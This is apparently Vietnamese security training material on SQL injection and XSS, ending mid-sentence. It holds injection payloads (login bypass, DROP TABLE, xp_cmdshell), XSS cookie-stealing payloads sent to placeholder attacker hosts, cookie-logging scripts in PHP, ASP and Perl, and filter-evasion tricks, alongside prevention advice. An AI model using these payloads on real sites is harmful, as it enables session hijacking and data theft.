54
2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 1 Đề Tài: Các Lỗ Hỏng Thường Gặp Trên Hệ Thống Website

Các lổ hổng thường gặp trên hệ thống website

  • Upload
    sa-hong

  • View
    84

  • Download
    3

Embed Size (px)

DESCRIPTION

Các lổ hổng thường gặp trên hệ thống website

Citation preview

Page 1: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 1

Đề Tài:

Các Lỗ Hỏng Thường Gặp Trên Hệ

Thống Website

Page 2: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 2

A. Lỗ hổng bảo mật Trên Hệ Thống Website:

1.Khái Niệm:

Các lỗ hổng bảo mật trên một hệ thống là các điểm yếu có thể tạo ra sự

ngưng trệ của dịch vụ, thêm quyền đối với người sử dụng hoặc cho phép

các truy nhập không hợp pháp vào hệ thống. Các lỗ hổng cũng có thể nằm

ngay các dịch vụ cung cấp như sendmail, web, ftp ... Ngoài ra các lỗ hổng

còn tồn tại ngay chính tại hệ điều hành như trong Windows NT, Windows

95, UNIX; hoặc trong các ứng dụng mà người sử dụng thương xuyên sử

dụng như Word processing, Các hệ databases...

2.Phân loại lỗ hổng bảo mật :

Có nhiều tổ chức khác nhau tiến hành phân loại các dạng lỗ hổng đặc biêt.

Theo cách phân loại của Bộ quốc phòng Mỹ, các loại lỗ hổng bảo mật trên

một hệ thống được chia như sau:

- Lỗ hổng loại C: các lỗ hổng loại này cho phép thực hiện các phương

thức tấn công theo DoS (Dinal of Services - Từ chối dịch vụ). Mức độ

nguy hiểm thấp, chỉ ảnh hưởng tới chất lượng dịch vụ, có thể làm ngưng

trệ, gián đoạn hệ thống; không làm phá hỏng dữ liệu hoặc đạt được quyền

truy nhập bất hợp pháp

- Lổ hổng loại B: Các lỗ hổng cho phép người sử dụng có thêm các quyền

trên hệ thống mà không cần thực hiện kiểm tra tính hợp lệ. Mức độ nguy

hiểm trung bình; Những lỗ hổng này thường có trong các ứng dụng trên

hệ thống; có thể dẫn đến mất hoặc lộ thông tin yêu cầu bảo mật.

- Lỗ hổng loại A: Các lỗ hổng này cho phép người sử dụng ở ngoài có thể

truy nhập vào hệ thống bất hợp pháp. Lỗ hổng rất nguy hiểm, có thể làm

phá hủy toàn bộ hệ thống.

Sau đây sẽ phân tích một số lỗ hổng bảo mật thường xuất hiện trên mạng

và hệ thống

3.Các kiểu tấn công thường gặp:

Page 3: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 3

-SQL Injection.

- Cross site scripting (XSS): non-persistent

-Local Attack

-Google Hack

B. Các Kiểu Tấn Công Thường Gặp Và Cách Phòng

Chống: I/SQL ịnjection:

1. SQL Injection là gì?

Khi triển khai các ứng dụng web trên Internet, nhiều người vẫn

nghĩ rằng việc đảm bảo an toàn, bảo mật nhằm giảm thiểu tối đa khả năng

bị tấn công từ các tin tặc chỉ đơn thuần tập trung vào các vấn đề như chọn

hệ điều hành, hệ quản trị cơ sở dữ liệu, webserver sẽ chạy ứng dụng, ...

mà quên mất rằng ngay cả bản thân ứng dụng chạy trên đó cũng tiềm ẩn

một lỗ hổng bảo mật rất lớn. Một trong số các lỗ hổng này đó là SQL

injection.

SQL injection là một kĩ thuật cho phép những kẻ tấn công lợi dụng

lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các

thông báo lỗi của hệ quản trị cơ sở dữ liệu để "tiêm vào" (inject) và thi

hành các câu lệnh SQL bất hợp pháp (không được người phát triển ứng

dụng lường trước). Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn

công có thể thực hiện các thao tác xóa, hiệu chỉnh, … do có toàn quyền

trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang

chạy. Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản

lí bằng các

hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase.

Page 4: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 4

2. Các dạng tấn công bằng SQL Injection

Có bốn dạng thông thường bao gồm: vượt qua kiểm tra lúc đăng

nhập (authorization bypass), sử dụng câu lện SELECT, sử dụng câu lệnh

INSERT, sử dụng các stored-procedures

a. Dạng tấn công vượt qua kiểm tra đăng nhập:

Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng

nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu

của ứng dụng web.

Một ví dụ điển hình, thông thường để cho phép người dùng truy cập

Page 5: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 5

vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng

nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu.

Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng

nhập

và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực

hiện tiếp.

Trong trường hợp này, người ta có thể dùng hai trang, một trang HTML

để hiển thị form nhập liệu và một trang ASP dùng để xử lí thông tin nhập

từ phía người dùng. Ví dụ:

CODE

<form action="ExecLogin.asp" method="post">

Username: <input type="text" name="fUSRNAME"><br>

Password: <input type="password" name="fPASSWORD"><br>

<input type="submit">

</form>

CODE

<%

Dim vUsrName, vPassword, objRS, strSQL

vUsrName = Request.Form("fUSRNAME")

vPassword = Request.Form("fPASSWORD")

strSQL = "SELECT * FROM T_USERS " & _

"WHERE USR_NAME=' " & vUsrName & _

" ' and USR_PASSWORD=' " & vPassword & " ' "

Set objRS = Server.CreateObject("ADODB.Recordset")

objRS.Open strSQL, "DSN=..."

If (objRS.EOF) Then

Response.Write "Invalid login."

Else

Response.Write "You are logged in as " & objRS("USR_NAME")

End If

Set objRS = Nothing

%>

Page 6: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 6

Thoạt nhìn, đoạn mã dường như không chứa bất cứ một lỗ hổng

về an toàn nào. Người dùng không thể đăng nhập mà không có tên đăng

nhập và mật khẩu hợp lệ. Tuy nhiên, đoạn mã này thực sự không an toàn

và là tiền đề cho một lỗi SQL injection. Đặc biệt, sơ hở nằm ở chỗ dữ liệu

nhập vào từ người dùng được dùng để xây dựng trực tiếp câu lệnh SQL.

Chính điều này cho phép những kẻ tấn công có thể điều khiển câu truy

vấn sẽ được thực hiện. Ví dụ, nếu người dùng nhập chuỗi sau vào trong cả

2 ô nhập liệu username/password của trang login.htm là:

' OR ' ' = ' '. Lúc này, câu truy vấn sẽ được gọi thực hiện là:

SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and

USR_PASSWORD= '' OR ''=''

Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của

T_USERS và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp

này như là người dùng đăng nhập hợp lệ.

b. Dạng tấn công sử dụng câu lệnh SELECT Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công

này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các

thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn

công.

Xét một ví dụ rất thường gặp trong các website về tin tức. Thông thường,

sẽ có một trang nhận ID của tin cần hiển thị rồi sau đó truy vấn nội dung

của tin có ID này. Mã nguồn cho chức năng này thường được viết khá đơn

giản theo dạng

CODE

<%

Dim vNewsID, objRS, strSQL

vNewsID = Request("ID")

strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" &

vNewsID

Page 7: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 7

3

Set objRS = Server.CreateObject("ADODB.Recordset")

objRS.Open strSQL, "DSN=..."

Set objRS = Nothing

%>

Trong các tình huống thông thường, đoạn mã này hiển thị nội dung của tin

có ID trùng với ID đã chỉ định và hầu như không thấy có lỗi. Tuy nhiên,

giống như ví dụ đăng nhập ở trước, đoạn mã này để lộ sơ hở cho một lỗi

SQL injection khác. Kẻ tấn công có thể thay thế một ID hợp lệ bằng cách

gán ID cho một giá trị khác, và từ đó, khởi đầu cho một cuộc tấn công bất

hợp pháp, ví dụ như: 0 OR 1=1

Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó

sẽ thực hiện câu lệnh:

SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1

Một trường hợp khác, ví dụ như trang tìm kiếm. Trang này cho phép

người dùng nhập vào các thông tin tìm kiếm như Họ, Tên, … Đoạn mã

thường gặp là:

CODE

<%

Dim vAuthorName, objRS, strSQL

vAuthorName = Request("fAUTHOR_NAME")

strSQL = "SELECT * FROM T_AUTHORS WHERE

AUTHOR_NAME =' " & _

vAuthorName & " ' "

Set objRS = Server.CreateObject("ADODB.Recordset")

objRS.Open strSQL, "DSN=..."

Set objRS = Nothing

%>

Page 8: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 8

Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn

SQL để nhập vào trường tên bằng chuỗi giá trị:

' UNION SELECT ALL SELECT OtherField FROM OtherTable

WHERE ' '=' (*) Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ

thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa.

Tất nhiên các ví dụ nói trên, dường như không có gì nguy hiểm, nhưng kẻ

tấn công có thể xóa toàn bộ cơ sở dữ liệu bằng cách chèn vào các đoạn

lệnh nguy hiểm như lệnh DROP TABLE. Ví dụ như: ' DROP TABLE

T_AUTHORS -- Nhập vào chuỗi (*) như trên, nếu hệ thống báo lỗi về cú pháp dạng:

Invalid object name “OtherTable”; ta có thể biết chắc là hệ thống đã thực

hiện câu SELECT sau từ khóa UNION, vì như vậy mới có thể trả về lỗi

mà ta đã cố tình tạo ra trong câu lệnh SELECT.

Cũng sẽ có thắc mắc là làm thế nào có thể biết được tên của các bảng dữ

liệu mà thực hiện các thao tác phá hoại khi ứng dụng web bị lỗi SQL

injection. Cũng rất đơn giản, bởi vì trong SQL Server, có hai đối tượng là

sysobjects và syscolumns cho phép liệt kê tất cả các tên bảng và cột có

trong hệ thống. Ta chỉ cần chỉnh lại câu lệnh SELECT, ví dụ:

' UNION SELECT name FROM sysobjects WHERE xtype = 'U' là có

thể liệt kê được tên tất cả các bảng dữ liệu.

c. Dạng tấn công sử dụng câu lệnh INSERT Thông thường các ứng dụng web cho phép người dùng đăng kí một

tài khoản để tham gia. Chức năng không thể thiếu là sau khi đăng kí thành

công, người dùng có thể xem và hiệu chỉnh thông tin của mình. SQL

injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của

thông tin nhập vào.

Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng: INSERT INTO

TableName VALUES('Value One', 'Value Two', 'Value Three'). Nếu

đoạn mã xây dựng câu lệnh SQL có dạng :

CODE

Page 9: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 9

<%

strSQL = "INSERT INTO TableName VALUES(' " & strValueOne

& " ', ' " _

& strValueTwo & " ', ' " & strValueThree & " ') "

Set objRS = Server.CreateObject("ADODB.Recordset")

objRS.Open strSQL, "DSN=..."

Set objRS = Nothing

%>

Thì sẽ bị lỗi SQL injection, bởi vì nếu ta nhập vào trường thứ nhất ví dụ

như: ' + (SELECT TOP 1 FieldName FROM TableName) + '. Lúc này

câu truy vấn sẽ là: INSERT INTO TableName VALUES(' ' +

(SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def') .

Khi đó, lúc thực hiện

lệnh xem thông tin, xem như bạn đã yêu cầu thực hiện thêm một lệnh nữa

đó là: SELECT TOP 1 FieldName FROM TableName

d Dạng tấn công sử dụng stored-procedures

Page 10: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 10

Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng

dụng được thực thi với quyền quản trị hệ thống 'sa'. Ví dụ, nếu ta thay

đoạn mã tiêm vào dạng: ' ; EXEC xp_cmdshell „cmd.exe dir C: '. Lúc này

hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server.

Việc phá

hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.

3. Cách phòng tránh

Như vậy, có thể thấy lỗi SQL injection khai thác những bất cẩn của

các lập trình viên phát triển ứng dụng web khi xử lí các dữ liệu nhập vào

để xây dựng câu lệnh SQL. Tác hại từ lỗi SQL injection tùy thuộc vào

môi trường và cách cấu hình hệ thống. Nếu ứng dụng sử dụng quyền dbo

(quyền của

người sở hữu cơ sở dữ liệu - owner) khi thao tác dữ liệu, nó có thể xóa

toàn bộ các bảng dữ liệu, tạo các bảng dữ liệu mới, … Nếu ứng dụng sử

dụng quyền sa (quyền quản trị hệ thống), nó có thể điều khiển toàn bộ hệ

quản trị cơ sở dữ liệu và với quyền hạn rộng lớn như vậy nó có thể tạo ra

Page 11: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 11

các tài

khoản người dùng bất hợp pháp để điều khiển hệ thống của bạn. Để phòng

tránh, ta có thể thực hiện ở hai mức:

a. Kiểm soát chặt chẽ dữ liệu nhập vào

Để phòng tránh các nguy cơ có thể xảy ra, hãy bảo vệ các câu lệnh SQL là

bằng cách kiểm soát chặt chẽ tất cả các dữ liệu nhập nhận được từ đối

tượng Request (Request, Request.QueryString, Request.Form,

Request.Cookies, and Request.ServerVariables). Ví dụ, có thể giới hạn

chiều dài của chuỗi nhập liệu, hoặc xây dựng hàm EscapeQuotes để thay

thế các dấu nháy đơn bằng 2 dấu nháy đơn như:

CODE

<%

Function EscapeQuotes(sInput)

sInput = replace(sInput, " ' ", " ' ' ")

EscapeQuotes = sInput

End Function

%>

Trong trường hợp dữ liệu nhập vào là số, lỗi xuất phát từ việc thay

thế một giá trị được tiên đoán là dữ liệu số bằng chuỗi chứa câu lệnh SQL

bất hợp pháp. Để tránh điều này, đơn giản hãy kiểm tra dữ liệu có đúng

kiểu hay không bằng hàm IsNumeric().

Ngoài ra có thể xây dựng hàm loại bỏ một số kí tự và từ khóa nguy hiểm

như: ;, --, select, insert, xp_, … ra khỏi chuỗi dữ liệu nhập từ phía người

dùng để hạn chế các tấn công dạng này:

CODE

<%

Function KillChars(sInput)

dim badChars

dim newChars

badChars = array("select", "drop", ";", "--", "insert", "delete",

"xp_")

newChars = strInput

Page 12: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 12

for i = 0 to uBound(badChars)

newChars = replace(newChars, badChars(i), "")

next

KillChars = newChars

End Function

%>

b. Thiết lập cấu hình an toàn cho hệ quản trị cơ sở dữ liệu Cần có cơ chế kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu

đến tài khoản người dùng mà ứng dụng web đang sử dụng. Các ứng dụng

thông thường nên tránh dùng đến các quyền như dbo hay sa. Quyền càng

bị hạn chế, thiệt hại càng ít. Ngoài ra để tránh các nguy cơ từ SQL

Injection attack, nên chú ý loại bỏ bất kì thông tin kĩ thuật nào chứa trong

thông điệp chuyển xuống cho người dùng khi ứng dụng có lỗi. Các thông

báo lỗi

thông thường tiết lộ các chi tiết kĩ thuật có thể cho phép kẻ tấn công biết

được điểm yếu của hệ thống.

II/Cross Site Scripting (XSS):

1.Giới Thiệu:

Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công

phổ biến nhất hiên nay, đồng thời nó cũng là một trong những vấn đề bảo

mật quan trọng đối với các nhà phát triển web và cả những người sử dụng

web. Ngay cả đối với những trang như www.fbi.gov , www.yahoo.com ,

www.ebay.com cũng đã từng bị dính XSS .Bất kì một website nào cho

phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các

đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS. Trong bài viết này

sẽ đề cập sơ lược tới XSS với một số kinh nghiệm qua kĩ thuật tấn công

này.

2. XXS là gì?

Cross-Site Scripting hay còn được gọi tắt là XSS là một kĩ thuật tấn

công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ...)

những đoạn mã script nguy hiểm để thực thi 1 câu lệnh nào đó . Trong đó,

những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các

Page 13: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 13

Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả

các thẻ HTML.

Các phương thức XSS:

- non-persistent XSS (Reflected XSS)

-persistent XSS (Stored XSS)

-Dom-Based XSS

A. XSS hoạt động như thế nào?

Về cơ bản XSS cũng như SQL Injection hay Source Injection, nó

cũng là các yêu cầu (request) được gửi từ các máy client tới server nhằm

chèn vào đó các thông tin vượt quá tầm kiểm soát của server. Nó có thể là

một request được gửi từ các form dữ liệu hoặc cũng có thể đó chỉ là các

URL như là

Code:

http://www.example.com/search.cgi?query=<script>alert('XSS was

found !');</script>

Và rất có thể trình duyệt của bạn sẽ hiện lên một thông báo "XSS

was found !".

Các đoạn mã trong thẻ <script> không hề bị giới hạn bởi chúng

hoàn toàn có thể thay thế bằng một file nguồn trên một server khác thông

qua thuộc tính src của thẻ <script>. Cũng chính vì lẽ đó mà chúng ta chưa

thể lường hết được độ nguy hiểm của các lỗi XSS.

Nhưng nếu như các kĩ thuật tấn công khác có thể làm thay đổi

Page 14: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 14

được dữ liệu nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì

XSS chỉ gây tổn hại đối với website ở phía client mà nạn nhân trực tiếp là

những người khách duyệt site đó. Tất nhiên đôi khi các hacker cũng sử

dụng kĩ thuật này đề deface các website nhưng đó vẫn chỉ tấn công vào bề

mặt của website. Thật vậy, XSS là những Client-Side Script, những đoạn

mã này sẽ chỉ chạy bởi trình duyệt phía client do đó XSS không làm ảnh

hưởng đến hệ thống website nằm trên server.

Mục tiêu tấn công của XSS không ai khác chính là những người sử

dụng khác của website, khi họ vô tình vào các trang có chứa các đoạn mã

nguy hiểm do các hacker để lại họ có thể bị chuyển tới các website khác,

đặt lại homepage, hay nặng hơn là mất mật khẩu, mất cookie thậm chí

máy tính bạn có thể sẽ bị cài các loại virus, backdoor, worm ..

B. Khai thác với XSS

Nhận biết website bị dính lỗi XSS :

Thường thì XSS có thể xảy ra ở chỗ nào mà người dùng có thể

nhập dữ liệu vào và sau đó sẽ nhận được 1 cái gì đó .Nên thường chúng ta

sẽ kiểm tra ở những login form đầu vào .Khi nhập 1 chuỗi kí tự nào đó mà

kết quả của server trả về có dính tới chuỗi mà bạn nhập thì rất có khả

năng site bị dính XSS .

Page 15: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 15

Giả sử đoạn code chèn XSS là : < script>alert(„XSS‟)< /script> vào login

form và sau đó nhận đc Popup có chữ XSS thì chắc chắn site đó bị dính

XSS

Note : 1 số trường hợp bị dính lỗi XSS nhưng ko xuất hiện XSS ---à lúc

này phải View source , nếu thấy có < script>alert(„XSS‟)< /script> thì

khai thác.

Một cách khác là chèn script vào các biến truyền trực tiếp trên address.

Vd : http://sitebixss.com/index.php?act=[chèn xss vào đây]

Giả sử đoạn code chèn XSS là : < script>alert(„XSS‟)< /script> và cũng

nhận đc popup XSS thì site đó cũng bị dính .

Khai thác : Thông thường các attacker sử dụng XSS để lấy các thông tin quan trọng :

cookie , user name +pass . Ở đây sử dụng XSS để đánh cắp cookie của

victim :

Cách chèn script : sử dụng Java script .

Code :

Page 16: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 16

javascript:alert(document.cookie) +Dùng file .php:

CODE

javascript:location="http://hostcuaban/cookie.php?cookie="+(docum

ent.cookie)

Hàm location để chuyển trình duyệt đến 1 trang khác, lúc đó

document.cookie sẽ thay bằng giá trị cookie.

Cách exploit:

Đầu tiên tạo file cookie.php thế này up lên host của bạn ( host cần hỗ trợ

php)

<?

/*XSS Exploit */

/*PHP Cookie Saver */

$f=fopen("xss.txt","a");

$cook=$HTTP_GET_VARS["cookie"];

fputs($f,$cook.chr(13));

fclose($f);

header("location: http://DIACHIDEDUDO.DUDO");

?>

Page 17: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 17

XSS giúp steal được cookie của victim, khai thác trên trình duyệt như sau:

CODE

http://sitexss.com/index.php?act=<script>location="http://hostcuaba

n.com/cookie.php?cookie="+(document.cookie)

</script>

Cookie victim sẽ lưu lại ở file xss.txt trên host của bạn

Bây giờ chỉ còn việc dụ "Alert" admin vào link, đổi

DIACHIDEDUDO.DUDO lai thành site muốn nó vào sau khi cookie đã

lưu lại.

+Dùng file .asp

Tạo 1 file cookie.asp có nội dung như thế này :

<%

Set x = CreateObject("Scripting.FileSystemObject")

Set y = x.OpenTextFile(Server.MapPath("mask.txt"), 8, true)

y.WriteLine Request.QueryString("cookie")

y.Close

Set y = Nothing

Set x = Nothing

%>

Sau đó up lên host hỗ trợ asp , và cũng làm tương tự như trên .

CODE :

<script>window.open("http://www.hostbanupfile.com/cookie.asp?coo

kie="+document.cookie)</script>

+Dùng file .cgi :

#! /usr/bin/perl

#steal.cgi by David Endler

#Specific to your system

$mailprog = '/usr/sbin/sendmail';

#creat log file

open (COOKIES,">>stolen_cookie_file");

#what victim see

print " Content-type: text /html \n\n";

Page 18: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 18

print <<EndOfHTML;

<html><head><title>Cookie stealing </title></head>

<body> your cookie has been stolen hehe

</body>

EndOfHTML

#The QUERY_STRING enviroment variable should be filled with

#the cookie text after steal.cgi:

#http://www.hacker.com/steal.cgi?XXXXXXX

print COOKIES "$ENV{ ' QUERY_STRING ' } from $ENV { '

REMOTE_ADDR'} \n;

#now mail the alert as well so we can start hijack

open (MAIL,"|$mailprog -t");

print MAIL " To: hacker\ @hacker.com \n";

print MAIL " From: cookie_steal \ @hacker.com \n";

print MAIL " Subject :Stolen cookie \n\n";

print MAIL "-" x 75 . "\n\n;

print MAIL "$ENV{ 'QUERY_STRING'} from $ENV{

'REMOTE_ADDR'} \n";

close (MAIL);

sử dụng : CODE

<script>document.location.repleace('http://hacker/steal.cgi?' + document.cookie

) ;</script>

Không phải lúc nào bạn cũng có thể dễ dàng chèn code , lắm lúc

cũng phải linh hoạt 1 chút bởi vì người lập trình website cũng đâu thể nào

dễ dàng để cho chúng ta lộng hành như vậy , họ cũng có chiêu để ngăn

cản chúng ta , cách họ dùng là "Lọc code" (Anti-XSS Filter) . Cơ chế của

họ như sau : bộ lọc này sẽ loại bỏ các kí tự đặc biệt mà người dùng nhập

vào , đơn giản vậy thôi .

Giả sử :

1/ Nếu "Bộ lọc" loại bỏ 2 kí tự "<" và ">" :

Hacker sẽ dùng "\x3c" và "\x3e" để thay thế và bắt đầu chèn code với

:

') + ') + '\x3cscript

Page 19: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 19

src=ht*p://hostbanupfile.com/cookie.asp?cookie="+document.cookie\

x3e\x3c/script\x3e'

Biến các đoạn code nguy hiểm thành lời chú giải (comment) : Ví dụ khi hacker nhập vào < script>code< /script> thì sẽ bị chặn như sau :

<COMMENT>

<!--

code (không được phân tích bởi bộ lọc)

//-->

</COMMENT>

Vượt qua cái này bằng cách dùng thẻ đóng </COMMENT> để đóng cái

<COMMENT> kia . Nghĩa là ta chèn cái này vào :

< script>

</COMMENT>

<img src="http://none" onerror="alert(XSS);window.open(

http://sitebanupfile.com/cookie.asp?...ument.cookie); ">

< /script>

Không cho JAVASCRIPT tồn tại : Trong trường hợp này thì hầu hết các ký tự đặt biệt được nhập vào từ

người dùng đều bị lọc , do đó để vượt qua thì hacker phải mã hoá code

nhập vào :

http://sitebiloi.com/search.cgi?quer...alert%28%27XSS %27%29%7d%3b

Chuỗi "%26%7balert%28%27Mask%27%29%7d%3b" chính là

{alert('XSS')}; đã được mã hoá

C. Phát hiện XSS bằng cách nào ?

Nếu như các bạn sử dụng các mã nguồn của các chương trình có sẵn

bạn có thể tham khảo danh sách các lỗ hổng của chương trình bạn trên các

trang web chứa các thông tin về bảo mật như securityfocus.com,

securiteam.com,... Tuy nhiên nếu các website được tự viết mã nguồn thì

bạn không thể áp dụng phương pháp trên. Trong trường hợp này bạn cần

đến các chương trình scanner tự động. Nếu như bạn sử dụng trong môi

Page 20: Các lổ hổng thường gặp trên hệ thống website

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 20

trường Windows bạn có thể dùng N-Stealth hay AppScan, đó là những

chương trình scan khá tuyệt, bạn không chỉ kiểm tra được các lỗi XSS mà

nó còn cho phép bạn kiểm tra các lỗi khác trong Website đó, Server đó.

Tất nhiên đâu phải lúc nào bạn cũng cần kiểm tra tất cả, nếu như bạn chỉ

muốn kiểm tra các lỗi XSS có trong website, bạn chỉ cần sử dụng

screamingCSS. Đó là một Perl Script sẽ mở các kết nối tới website (sử

dụng Perl's socket) để kiểm tra các lỗi XSS của bạn. Hơn nữa bạn có thể

sử dụng nó trong cả môi trường Unix lẫn Windows.

D. Ngăn ngừa XSS như thế nào ?

Người ta không lường hết được mức độ nguy hiểm của XSS

nhưng cũng không quá khó khăn để ngăn ngừa XSS. Có rất nhiều cách để

có thể giải quyết vấn đề này.

OWASP (The Open Web Application Standard Project) nói rằng để có thể

xây dựng các website bảo mật cao, đối với các dữ liệu của người sử dụng

nên

+ Chỉ chấp nhận những dữ liệu hợp lệ.

+ Từ chối nhận các dữ liệu hỏng.

+ Liên tục kiểm tra và thanh lọc sữ liệu.

Tuy nhiên trên thực tế, một số trường hợp bạn phải chấp nhận mọi loại dữ

liệu hay không có một bộ lọc phù hợp. Chính vì vậy phải có những cách

